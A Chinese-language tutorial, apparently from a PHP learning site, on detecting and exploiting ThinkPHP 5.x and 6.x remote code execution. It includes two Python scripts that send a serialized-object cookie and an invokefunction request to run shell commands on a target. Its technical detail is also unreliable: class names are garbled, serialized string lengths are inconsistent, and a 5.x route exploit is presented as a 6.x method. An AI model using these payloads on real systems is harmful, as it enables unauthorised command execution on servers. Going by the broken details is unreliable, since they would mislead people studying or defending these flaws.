使用nuclei批量检测thinkphp历史rce漏洞,核心在于编写或调用包含特定payload的模板,针对thinkphp 5.x和6.x的不同版本特征进行匹配。主要利用`think equest`类中的`__construct`、`__destruct`或`filter`链触发反序列化或命令执行,通过http请求发送构造好的数据并验证响应。

如何构造ThinkPHP 5.x的反序列化Payload
ThinkPHP 5.x(特别是5.0.23及之前)存在全局路由缓存文件反序列化漏洞,或者通过`thinkprocess`类的析构函数触发命令执行。关键在于构造一个恶意的Session文件或Cookie值,使其在反序列化时实例化`thinkprocess`类,并在其析构时执行系统命令。

import requests
url = "http://target.com/index.php"
# 构造恶意payload,这里以简单的命令回显为例
# 实际环境中需要生成完整的序列化字符串
payload = b'O:24:"think\model\concern\Conversion":1:{s:10:"*data";a:1:{s:5:"hello";O:29:"think\process\pipes\Windows":1:{s:6:"pipes";a:1:{i:0;O:27:"think\model\concern\Conversion":1:{s:10:"*data";a:1:{s:5:"cmd";s:3:"id";}}}}}}'
headers = {
'Cookie': f'PHPSESSID={payload.hex()}'
}
response = requests.get(url, headers=headers)
print(response.text)
上述代码展示了如何通过Python脚本向目标发送包含序列化数据的Cookie。注意,实际利用中需要根据目标环境调整序列化路径和类名。运行此脚本后,如果目标存在漏洞,响应中将包含命令执行的结果。
如何识别ThinkPHP 6.x的命令执行点
ThinkPHP 6.x虽然修复了部分反序列化漏洞,但仍可能存在通过`thinkacadeEnv`或`thinkconsole`类的静态方法调用的命令执行风险。重点检查`request`对象中的`filter`参数是否可控,以及是否能通过`__call`魔术方法触发任意方法调用。

import requests
url = "http://target.com/index.php?s=/index/\think\app/invokefunction"
params = {
"function": "call_user_func_array",
"args[0]": "system",
"args[1][]": "whoami"
}
response = requests.get(url, params=params)
print(response.text)
该代码演示了尝试通过ThinkPHP 6.x的路由机制调用`system`函数。如果目标启用了全局路由且未正确过滤,可能会直接执行命令。需注意的是,ThinkPHP 6.x默认对路由进行了更严格的限制,此方法仅在特定配置下有效。
基于程序中某个输入、条件或结果的具体问题
在实际检测过程中,如果目标返回了“Method not found”或类似的错误信息,通常意味着路由解析失败或类不存在,这可以作为判断目标是否为ThinkPHP框架的一个依据。此外,如果响应时间显著增加,可能表明命令正在执行,此时应结合超时设置来优化检测效率。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











